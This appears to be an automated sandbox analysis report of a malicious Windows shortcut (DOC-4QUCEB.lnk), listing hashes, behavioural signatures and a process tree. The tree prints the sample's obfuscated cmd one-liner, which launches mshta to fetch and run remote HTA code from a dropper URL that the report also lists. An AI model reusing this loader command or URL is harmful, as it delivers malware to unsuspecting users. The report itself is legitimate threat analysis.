Analysis
- max time kernel
58s - max time network
56s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
23/08/2026, 00:01
Static task
static1
Behavioral task
behavioral1
Sample
DOC-4QUCEB.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-4QUCEB.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-4QUCEB.lnk
- Size 1KB
- Sample260823-aa77bagg79
- SHA256 343fa32c2072244c25be0fa6d451ffc531e46d73a9b8fa9ff3bde87d3c92a7e8
- MD5 cdc183b81d80c1960fc68f3007c46583
- SHA1 af10d9077a46b2f53e5f017bad8a18e0ad43f9ad
- SHA512 df8f37941821894165d644e1a54e551648df0c4f065ee12bf08e876939884fce4c078953de1a92660f0e87d6e40e99f88fe96ed0f3f8ca5b7131a50d52d4581b
- TLSH T1C8314C103EFD0518F3F39FB6847B671489BB78568E10C66D4151454D1032A05E67AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1832 cmd.exe 3324 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1832 wrote to memory of 3324 1832 cmd.exe 86 PID 3324 wrote to memory of 4676 3324 cmd.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4QUCEB.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set whoPw=msh&&set wN=ta&&start "" !whoPw!!wN! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\System32\mshta.exemshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4676
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